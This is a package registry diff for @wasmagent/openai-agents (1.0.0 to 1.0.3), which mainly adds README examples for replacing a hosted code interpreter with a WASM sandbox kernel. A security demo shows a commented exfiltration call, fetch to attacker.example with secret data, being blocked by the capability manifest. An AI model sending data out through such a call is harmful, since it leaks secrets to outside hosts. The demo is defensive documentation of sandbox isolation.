@wasmagent/openai-agents 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +1 -1
- package/README.md +62 -2
- package/dist/index.d.ts +1 -1
- package/dist/index.js +1 -1
- package/dist/memory.d.ts +1 -1
- package/dist/memory.js +1 -1
- package/package.json +6 -2
package/LICENSE
CHANGED
|
@@ -186,7 +186,7 @@
|
|
|
186
186
|
same "printed page" as the copyright notice for easier
|
|
187
187
|
identification within third-party archives.
|
|
188
188
|
|
|
189
|
-
Copyright 2026
|
|
189
|
+
Copyright 2026 WasmAgent contributors
|
|
190
190
|
|
|
191
191
|
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
192
|
you may not use this file except in compliance with the License.
|
package/README.md
CHANGED
|
@@ -21,10 +21,43 @@ isolation. It does **not** cover:
|
|
|
21
21
|
- Workloads where 50 ms is too long for cold start and per-second container
|
|
22
22
|
billing dominates the cost.
|
|
23
23
|
|
|
24
|
-
The
|
|
24
|
+
The wasmagent kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
|
|
25
25
|
or Wasmtime — so they run wherever JS runs. This package binds them to the
|
|
26
26
|
Agents JS `Tool` shape.
|
|
27
27
|
|
|
28
|
+
## Before / After
|
|
29
|
+
|
|
30
|
+
Replacing the OpenAI built-in `code_interpreter` tool with a wasmagent WASM kernel:
|
|
31
|
+
|
|
32
|
+
```diff
|
|
33
|
+
const agent = new Agent({
|
|
34
|
+
name: "math-helper",
|
|
35
|
+
tools: [
|
|
36
|
+
- { type: "code_interpreter" }, // ← hosted, no edge support, per-session billing
|
|
37
|
+
+ sandboxedJsAgentTool({ kernel: new QuickJSKernel() }),
|
|
38
|
+
+ // ↑ in-process, edge-safe, $0/call, full CapabilityManifest
|
|
39
|
+
],
|
|
40
|
+
});
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Full before/after:
|
|
44
|
+
|
|
45
|
+
```diff
|
|
46
|
+
+import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
|
|
47
|
+
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
|
|
48
|
+
|
|
49
|
+
const agent = new Agent({
|
|
50
|
+
name: "math-helper",
|
|
51
|
+
tools: [
|
|
52
|
+
- { type: "code_interpreter" },
|
|
53
|
+
+ sandboxedJsAgentTool({
|
|
54
|
+
+ kernel: new QuickJSKernel(),
|
|
55
|
+
+ capabilities: { allowedHosts: [] },
|
|
56
|
+
+ }),
|
|
57
|
+
],
|
|
58
|
+
});
|
|
59
|
+
```
|
|
60
|
+
|
|
28
61
|
## Install
|
|
29
62
|
|
|
30
63
|
```bash
|
|
@@ -71,7 +104,7 @@ const agent = new Agent({ name: "ops", tools: [portalTool] });
|
|
|
71
104
|
|
|
72
105
|
## Kernel selection — pick the right tier
|
|
73
106
|
|
|
74
|
-
`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any
|
|
107
|
+
`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any wasmagent
|
|
75
108
|
kernel. The choice is independent of the SDK adapter — swap kernels in
|
|
76
109
|
one line, the rest of your code is unchanged:
|
|
77
110
|
|
|
@@ -84,6 +117,33 @@ one line, the rest of your code is unchanged:
|
|
|
84
117
|
|
|
85
118
|
Swap is a one-liner — `kernel: new QuickJSKernel()` becomes `kernel: new PyodideKernel()`. Same `CapabilityManifest`, same OpenAI Agents JS `Tool<T>` shape.
|
|
86
119
|
|
|
120
|
+
## Security demo
|
|
121
|
+
|
|
122
|
+
`CapabilityManifest` enforces network and filesystem policy at the kernel
|
|
123
|
+
boundary — the model cannot escape it regardless of what code it generates:
|
|
124
|
+
|
|
125
|
+
```ts
|
|
126
|
+
import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
|
|
127
|
+
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
|
|
128
|
+
|
|
129
|
+
const kernel = new QuickJSKernel();
|
|
130
|
+
const tool = sandboxedJsAgentTool({
|
|
131
|
+
kernel,
|
|
132
|
+
capabilities: {
|
|
133
|
+
allowedHosts: [], // no outbound network
|
|
134
|
+
allowedPaths: [], // no filesystem access
|
|
135
|
+
cpuMs: 5_000,
|
|
136
|
+
memoryLimitBytes: 64 * 1024 * 1024,
|
|
137
|
+
},
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
// Model-generated code that tries to exfiltrate data:
|
|
141
|
+
// fetch("https://attacker.example/exfil?data=secret")
|
|
142
|
+
// → throws: network access denied — host "attacker.example" not in allowedHosts
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
The same manifest applies to both `sandboxedJsAgentTool` and `codeModeAgentTool`.
|
|
146
|
+
|
|
87
147
|
## Capability manifest
|
|
88
148
|
|
|
89
149
|
Same `CapabilityManifest` as the other adapters — see
|
package/dist/index.d.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @wasmagent/openai-agents —
|
|
2
|
+
* @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
|
|
3
3
|
*
|
|
4
4
|
* The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
|
|
5
5
|
* definition: `{ name, description, parameters (Zod), execute(input) }`.
|
package/dist/index.js
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @wasmagent/openai-agents —
|
|
2
|
+
* @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
|
|
3
3
|
*
|
|
4
4
|
* The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
|
|
5
5
|
* definition: `{ name, description, parameters (Zod), execute(input) }`.
|
package/dist/memory.d.ts
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
|
|
3
3
|
*
|
|
4
|
-
* Exposes
|
|
4
|
+
* Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
|
|
5
5
|
* as an OpenAI Agents JS Tool.
|
|
6
6
|
*
|
|
7
7
|
* See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
|
package/dist/memory.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
|
|
3
3
|
*
|
|
4
|
-
* Exposes
|
|
4
|
+
* Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
|
|
5
5
|
* as an OpenAI Agents JS Tool.
|
|
6
6
|
*
|
|
7
7
|
* See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@wasmagent/openai-agents",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "Drop wasmagent sandbox kernels into the OpenAI Agents JS SDK as a Tool — edge-safe code execution with one capability manifest, no E2B sandbox needed",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./dist/index.js",
|
|
@@ -18,7 +18,7 @@
|
|
|
18
18
|
"clean": "rm -rf dist .turbo"
|
|
19
19
|
},
|
|
20
20
|
"dependencies": {
|
|
21
|
-
"@wasmagent/core": "^1.0.
|
|
21
|
+
"@wasmagent/core": "^1.0.3"
|
|
22
22
|
},
|
|
23
23
|
"peerDependencies": {
|
|
24
24
|
"@openai/agents": ">=0.1.0",
|
|
@@ -49,6 +49,10 @@
|
|
|
49
49
|
"tool",
|
|
50
50
|
"wasmagent"
|
|
51
51
|
],
|
|
52
|
+
"wasmagent": {
|
|
53
|
+
"tier": "tier-1",
|
|
54
|
+
"stability": "stable"
|
|
55
|
+
},
|
|
52
56
|
"license": "Apache-2.0",
|
|
53
57
|
"repository": {
|
|
54
58
|
"type": "git",
|